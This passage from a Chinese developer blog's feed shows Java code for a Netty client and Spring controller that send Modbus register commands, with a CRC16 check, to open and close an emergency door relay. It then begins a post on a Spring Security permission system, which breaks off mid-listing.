class="line">        bootstrap.group(eventGroup) <span class="comment">// 设置一个 EventLoopGroup 对象</span></span><br><span class="line">                .channel(NioSocketChannel.class)  <span class="comment">// 指定 Channel 为客户端 NioSocketChannel</span></span><br><span class="line">                .remoteAddress(host, port) <span class="comment">// 指定链接服务器的地址</span></span><br><span class="line">                .option(ChannelOption.SO_KEEPALIVE, <span class="literal">true</span>) <span class="comment">// TCP Keepalive 机制，实现 TCP 层级的心跳保活功能</span></span><br><span class="line">                .option(ChannelOption.TCP_NODELAY, <span class="literal">true</span>) <span class="comment">// 允许较小的数据包的发送，降低延迟</span></span><br><span class="line">                .handler(nettyClientHandlerInitializer);</span><br><span class="line">        <span class="comment">// 链接服务器，并异步等待成功，即启动客户端</span></span><br><span class="line">        bootstrap.connect().addListener(<span class="keyword">new</span> <span class="title class_">ChannelFutureListener</span>() &#123;</span><br><span class="line"></span><br><span class="line">            <span class="meta">@Override</span></span><br><span class="line">            <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">operationComplete</span><span class="params">(ChannelFuture future)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">                <span class="comment">// 连接失败</span></span><br><span class="line">                <span class="keyword">if</span> (!future.isSuccess()) &#123;</span><br><span class="line">                    log.error(<span class="string">&quot;[start][Netty Client 连接服务器(&#123;&#125;:&#123;&#125;) 失败]&quot;</span>, host, port);</span><br><span class="line">                    reconnect();</span><br><span class="line">                    <span class="keyword">return</span>;</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="comment">// 连接成功</span></span><br><span class="line">                CHANNEL_MAP.put(host + <span class="string">&quot;:&quot;</span> + port, future.channel());</span><br><span class="line">                CONNECT_LIST.add(host + <span class="string">&quot;:&quot;</span> + port);</span><br><span class="line"><span class="comment">//                channel = future.channel();</span></span><br><span class="line">                log.info(<span class="string">&quot;[start][Netty Client 连接服务器(&#123;&#125;:&#123;&#125;) 成功]&quot;</span>, host, port);</span><br><span class="line">                <span class="keyword">if</span> (content.length &gt; <span class="number">0</span>) &#123;</span><br><span class="line">                    future.channel().writeAndFlush(content);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 关闭 Netty Server</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@PreDestroy</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">shutdown</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 关闭 Netty Client</span></span><br><span class="line">        CHANNEL_MAP.forEach((k, v) -&gt; &#123;</span><br><span class="line">            <span class="keyword">if</span> (v != <span class="literal">null</span>) &#123;</span><br><span class="line">                v.close();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;);</span><br><span class="line">        <span class="comment">// 优雅关闭一个 EventLoopGroup 对象</span></span><br><span class="line">        eventGroup.shutdownGracefully();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 发送消息</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> content 消息体</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">send</span><span class="params">(String host, Integer port, <span class="type">byte</span>[] content)</span> &#123;</span><br><span class="line">        <span class="type">Channel</span> <span class="variable">channel</span> <span class="operator">=</span> Optional.of(CHANNEL_MAP).map(a -&gt; a.get(host + <span class="string">&quot;:&quot;</span> + port)).orElse(<span class="literal">null</span>);</span><br><span class="line">        <span class="keyword">if</span> (channel == <span class="literal">null</span>) &#123;</span><br><span class="line">            log.error(<span class="string">&quot;[send][连接不存在]&quot;</span>);</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (!channel.isActive()) &#123;</span><br><span class="line">            log.error(<span class="string">&quot;[send][连接(&#123;&#125;)未激活]&quot;</span>, channel.id());</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 发送消息</span></span><br><span class="line">        channel.writeAndFlush(content);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">remove</span><span class="params">(ChannelId channelId)</span> &#123;</span><br><span class="line">        CHANNEL_MAP.forEach((k, v) -&gt; &#123;</span><br><span class="line">            <span class="keyword">if</span> (channelId.equals(v.id())) &#123;</span><br><span class="line">                CHANNEL_MAP.remove(k);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">CRC_GetModbus16</span><span class="params">(<span class="type">byte</span>[] pData, <span class="type">int</span> nLength)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">cRc_16</span> <span class="operator">=</span> <span class="number">0xFFFF</span>;</span><br><span class="line">        <span class="type">byte</span> temp;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; nLength; ++i) &#123;</span><br><span class="line">            temp = (<span class="type">byte</span>) (cRc_16 &amp; <span class="number">0xFF</span>);</span><br><span class="line">            cRc_16 = (<span class="type">int</span>) ((cRc_16 &gt;&gt; <span class="number">8</span>) ^ g_McRctable_16[(temp ^ pData[i]) &amp; <span class="number">0xFF</span>]);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> cRc_16;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="NettyClientHandler">NettyClientHandler</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.lyc.ocr.client.handler;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.lyc.ocr.client.NettyClient;</span><br><span class="line"><span class="keyword">import</span> io.netty.channel.ChannelFutureListener;</span><br><span class="line"><span class="keyword">import</span> io.netty.channel.ChannelHandler;</span><br><span class="line"><span class="keyword">import</span> io.netty.channel.ChannelHandlerContext;</span><br><span class="line"><span class="keyword">import</span> io.netty.channel.ChannelInboundHandlerAdapter;</span><br><span class="line"><span class="keyword">import</span> io.netty.handler.timeout.IdleStateEvent;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> org.springframework.beans.factory.annotation.Autowired;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="meta">@ChannelHandler</span>.Sharable</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">NettyClientHandler</span> <span class="keyword">extends</span> <span class="title class_">ChannelInboundHandlerAdapter</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> NettyClient nettyClient;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">channelInactive</span><span class="params">(ChannelHandlerContext ctx)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="comment">// 发起重连</span></span><br><span class="line">        nettyClient.reconnect();</span><br><span class="line">        <span class="comment">// 继续触发事件</span></span><br><span class="line">        <span class="built_in">super</span>.channelInactive(ctx);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">exceptionCaught</span><span class="params">(ChannelHandlerContext ctx, Throwable cause)</span> &#123;</span><br><span class="line">        log.error(<span class="string">&quot;[exceptionCaught][连接(&#123;&#125;) 发生异常]&quot;</span>, ctx.channel().id(), cause);</span><br><span class="line">        <span class="comment">// 断开连接</span></span><br><span class="line">        nettyClient.remove(ctx.channel().id());</span><br><span class="line">        ctx.channel().close();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">userEventTriggered</span><span class="params">(ChannelHandlerContext ctx, Object event)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="comment">// 空闲时，向服务端发起一次心跳，通过指定命令获取当前服务端应急门状态，使服务端发送应急们状态给当前客户端</span></span><br><span class="line">        <span class="keyword">if</span> (event <span class="keyword">instanceof</span> IdleStateEvent) &#123;</span><br><span class="line">            <span class="type">byte</span>[] sendData = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">8</span>];</span><br><span class="line">            sendData[<span class="number">0</span>] = <span class="number">0x01</span>; <span class="comment">//地址码，根据设备地址填写</span></span><br><span class="line">            sendData[<span class="number">1</span>] = <span class="number">0x03</span>; <span class="comment">//功能码，表示读取</span></span><br><span class="line">            sendData[<span class="number">2</span>] = <span class="number">0x00</span>; <span class="comment">//起始地址高位</span></span><br><span class="line">            sendData[<span class="number">3</span>] = <span class="number">0x01</span>; <span class="comment">//起始地址低位</span></span><br><span class="line">            sendData[<span class="number">4</span>] = <span class="number">0x00</span>; <span class="comment">//要读取的寄存器数量的高位</span></span><br><span class="line">            sendData[<span class="number">5</span>] = <span class="number">0x01</span>; <span class="comment">//要读取的寄存器数量的低位</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">            <span class="type">int</span> <span class="variable">uCrc</span> <span class="operator">=</span> nettyClient.CRC_GetModbus16(sendData, <span class="number">6</span>);</span><br><span class="line"></span><br><span class="line">            sendData[<span class="number">6</span>] = (<span class="type">byte</span>) (uCrc); <span class="comment">//crc16校验高位</span></span><br><span class="line">            sendData[<span class="number">7</span>] = (<span class="type">byte</span>) (uCrc &gt;&gt; <span class="number">8</span>); <span class="comment">//crc16校验低位</span></span><br><span class="line">            ctx.writeAndFlush(sendData)</span><br><span class="line">                    .addListener(ChannelFutureListener.CLOSE_ON_FAILURE);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="built_in">super</span>.userEventTriggered(ctx, event);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">channelRead</span><span class="params">(ChannelHandlerContext ctx, Object msg)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="comment">// 读取服务端信息，防止连接服务端出现ReadTimeOutException</span></span><br><span class="line">        log.info(<span class="string">&quot;Client,接收到服务端发来的消息:&quot;</span> + msg);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="NettyClientHandlerInitializer">NettyClientHandlerInitializer</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.lyc.ocr.client.handler;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.lyc.ocr.client.codec.InvocationEncoder;</span><br><span class="line"><span class="keyword">import</span> io.netty.channel.Channel;</span><br><span class="line"><span class="keyword">import</span> io.netty.channel.ChannelInitializer;</span><br><span class="line"><span class="keyword">import</span> io.netty.handler.timeout.IdleStateHandler;</span><br><span class="line"><span class="keyword">import</span> io.netty.handler.timeout.ReadTimeoutHandler;</span><br><span class="line"><span class="keyword">import</span> org.springframework.beans.factory.annotation.Autowired;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">NettyClientHandlerInitializer</span> <span class="keyword">extends</span> <span class="title class_">ChannelInitializer</span>&lt;Channel&gt; &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 心跳超时时间</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Integer</span> <span class="variable">READ_TIMEOUT_SECONDS</span> <span class="operator">=</span> <span class="number">60</span>;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> NettyClientHandler nettyClientHandler;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">initChannel</span><span class="params">(Channel ch)</span> &#123;</span><br><span class="line">        ch.pipeline()</span><br><span class="line">                <span class="comment">// 空闲检测</span></span><br><span class="line">                .addLast(<span class="keyword">new</span> <span class="title class_">IdleStateHandler</span>(READ_TIMEOUT_SECONDS, <span class="number">0</span>, <span class="number">0</span>))</span><br><span class="line">                .addLast(<span class="keyword">new</span> <span class="title class_">ReadTimeoutHandler</span>(<span class="number">3</span> * READ_TIMEOUT_SECONDS))</span><br><span class="line">                <span class="comment">// 编码器</span></span><br><span class="line">                .addLast(<span class="keyword">new</span> <span class="title class_">InvocationEncoder</span>())</span><br><span class="line">                <span class="comment">// 客户端处理器</span></span><br><span class="line">                .addLast(nettyClientHandler)</span><br><span class="line">        ;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="InvocationEncoder">InvocationEncoder</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.lyc.ocr.client.codec;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> io.netty.buffer.ByteBuf;</span><br><span class="line"><span class="keyword">import</span> io.netty.channel.ChannelHandlerContext;</span><br><span class="line"><span class="keyword">import</span> io.netty.handler.codec.MessageToByteEncoder;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">InvocationEncoder</span> <span class="keyword">extends</span> <span class="title class_">MessageToByteEncoder</span>&lt;<span class="type">byte</span>[]&gt; &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">encode</span><span class="params">(ChannelHandlerContext ctx, <span class="type">byte</span>[] content, ByteBuf out)</span> &#123;</span><br><span class="line">        <span class="comment">// 写入内容</span></span><br><span class="line">        out.writeBytes(content);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="上面的controller修改">上面的controller修改</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.lyc.ocr.controller;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.lyc.ocr.client.NettyClient;</span><br><span class="line"><span class="keyword">import</span> com.lyc.ocr.door.DoorDTO;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> org.springframework.util.StringUtils;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.PostMapping;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.RequestBody;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.RequestMapping;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.RestController;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.annotation.Resource;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/door&quot;)</span></span><br><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DoorController</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Resource</span></span><br><span class="line">    <span class="keyword">private</span> NettyClient nettyClient;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 设备通讯</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 是否成功</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@PostMapping(&quot;doorConn&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">doorCommunication</span><span class="params">(<span class="meta">@RequestBody</span> DoorDTO doorDTO)</span> &#123;</span><br><span class="line">        <span class="comment">// 发送指令</span></span><br><span class="line">        String strSet;</span><br><span class="line">        strSet = doorDTO.getMbtIoState().replace(<span class="string">&quot; &quot;</span>, <span class="string">&quot;&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">//置高寄存器值</span></span><br><span class="line">        <span class="type">int</span> <span class="variable">uSetH</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">        <span class="comment">//置低寄存器值</span></span><br><span class="line">        <span class="type">int</span> <span class="variable">uSetL</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">16</span>; i++) &#123;</span><br><span class="line">            String[] ss = strSet.split(<span class="string">&quot;&quot;</span>);</span><br><span class="line">            <span class="keyword">if</span> (<span class="string">&quot;1&quot;</span>.equals(ss[i])) &#123;</span><br><span class="line">                <span class="comment">//把置高寄存器相应的位置成1</span></span><br><span class="line">                uSetH |= <span class="number">1</span> &lt;&lt; i;</span><br><span class="line">                <span class="comment">//把置低寄存器相应的位置成0</span></span><br><span class="line">                uSetL &amp;= ~(<span class="number">1</span> &lt;&lt; i);</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="string">&quot;0&quot;</span>.equals(ss[i])) &#123;</span><br><span class="line">                <span class="comment">//把置高寄存器相应的位置成0</span></span><br><span class="line">                uSetH &amp;= ~(<span class="number">1</span> &lt;&lt; i);</span><br><span class="line">                <span class="comment">//把置低寄存器相应的位置成1</span></span><br><span class="line">                uSetL |= <span class="number">1</span> &lt;&lt; i;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="type">byte</span>[] sendData = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">13</span>];</span><br><span class="line">        sendData[<span class="number">0</span>] = <span class="number">0x01</span>; <span class="comment">//地址码，根据设备地址填写</span></span><br><span class="line">        sendData[<span class="number">1</span>] = <span class="number">0x10</span>; <span class="comment">//功能码，表示要写多个寄存器</span></span><br><span class="line">        sendData[<span class="number">2</span>] = <span class="number">0x00</span>; <span class="comment">//起始地址高位</span></span><br><span class="line">        sendData[<span class="number">3</span>] = <span class="number">0x02</span>; <span class="comment">//起始地址低位</span></span><br><span class="line">        sendData[<span class="number">4</span>] = <span class="number">0x00</span>; <span class="comment">//寄存器数量高位</span></span><br><span class="line">        sendData[<span class="number">5</span>] = <span class="number">0x02</span>; <span class="comment">//寄存器数量低位</span></span><br><span class="line">        sendData[<span class="number">6</span>] = <span class="number">0x04</span>; <span class="comment">//要写的字节数</span></span><br><span class="line">        sendData[<span class="number">7</span>] = (<span class="type">byte</span>) (uSetH &gt;&gt; <span class="number">8</span>); <span class="comment">//</span></span><br><span class="line">        sendData[<span class="number">8</span>] = (<span class="type">byte</span>) (uSetH); <span class="comment">//</span></span><br><span class="line">        sendData[<span class="number">9</span>] = (<span class="type">byte</span>) (uSetL &gt;&gt; <span class="number">8</span>); <span class="comment">//</span></span><br><span class="line">        sendData[<span class="number">10</span>] = (<span class="type">byte</span>) (uSetL); <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">        <span class="type">int</span> <span class="variable">uCrc</span> <span class="operator">=</span> nettyClient.CRC_GetModbus16(sendData, <span class="number">11</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">//crc16校验低位</span></span><br><span class="line">        sendData[<span class="number">11</span>] = (<span class="type">byte</span>) (uCrc);</span><br><span class="line">        <span class="comment">//crc16校验高位</span></span><br><span class="line">        sendData[<span class="number">12</span>] = (<span class="type">byte</span>) (uCrc &gt;&gt; <span class="number">8</span>);</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">// 如果传了指定ip和端口则重置netty链接</span></span><br><span class="line">            <span class="keyword">if</span> (StringUtils.hasText(doorDTO.getIp()) &amp;&amp; doorDTO.getDevPort() != <span class="literal">null</span>) &#123;</span><br><span class="line">                nettyClient.start(doorDTO.getIp(), doorDTO.getDevPort(), sendData);</span><br><span class="line">            &#125;</span><br><span class="line">            nettyClient.send(doorDTO.getIp(), doorDTO.getDevPort(), sendData);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/02/3578e80c6df106b5dca635a7870a3ce1.png" alt="image-20230220133750591"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;项目需求&quot;&gt;项目需求&lt;/h2&gt;
&lt;p&gt;调用捷宸EIO开发包DLL动态库控制应急门的开关停，现场应急门继电器连接的是6、7、8，分别对应的是开、停、关。0为打开，1为关闭。&lt;/p&gt;
&lt;h2 id=&quot;java程序开发&quot;&gt;java程序开发&lt;/h2&gt;
&lt;h3 id=&quot;在r</summary>
      
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="Windows" scheme="https://blog.allbs.cn/tags/Windows/"/>
    
    <category term="dll" scheme="https://blog.allbs.cn/tags/dll/"/>
    
  </entry>
  
  <entry>
    <title>权限系统说明+代码</title>
    <link href="https://blog.allbs.cn/posts/12388/"/>
    <id>https://blog.allbs.cn/posts/12388/</id>
    <published>2023-02-03T08:55:00.000Z</published>
    <updated>2025-11-28T06:48:01.062Z</updated>
    
    <content type="html"><![CDATA[<h1>系统权限</h1><h2 id="说明">说明</h2><ul><li>功能权限（就是常用的RBAC那一套，登录-&gt;控制到按钮级别的权限系统）</li><li>数据权限 (根据不用用户，如一个园区分为多家企业，每家企业看到的数据内容不同，园区内不同领导分管不同的多家企业)</li></ul><h2 id="功能权限">功能权限</h2><h3 id="源码地址"><a href="https://github.com/chenqi92/allbs-authorization.git">源码</a>地址</h3><h3 id="权限框架">权限框架</h3><h4 id="spring-security">spring security</h4><h5 id="自定义security策略，初步的权限校验，拦截所有的请求，swagger页面和接口无法访问">自定义security策略，初步的权限校验，拦截所有的请求，swagger页面和接口无法访问</h5><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@EnableWebSecurity</span></span><br><span class="line"><span class="meta">@RequiredArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">WebSecurityConfig</span> <span class="keyword">extends</span> <span class="title class_">WebSecurityConfigurerAdapter</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">configure</span><span class="params">(HttpSecurity http)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        http</span><br><span class="line">                .authorizeRequests()</span><br><span class="line">                <span class="comment">// 跨域检测</span></span><br><span class="line">                .antMatchers(HttpMethod.OPTIONS, <span class="string">&quot;/**&quot;</span>).permitAll()</span><br><span class="line">                <span class="comment">// 对任何请求都进行权限验证</span></span><br><span class="line">                .anyRequest().authenticated()</span><br><span class="line">                ;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h5 id="指定页面放开">指定页面放开</h5><p>以swagger和阿里druid连接池监控工具为例，添加以下内容后，swagger内容将正常显示</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@EnableWebSecurity</span></span><br><span 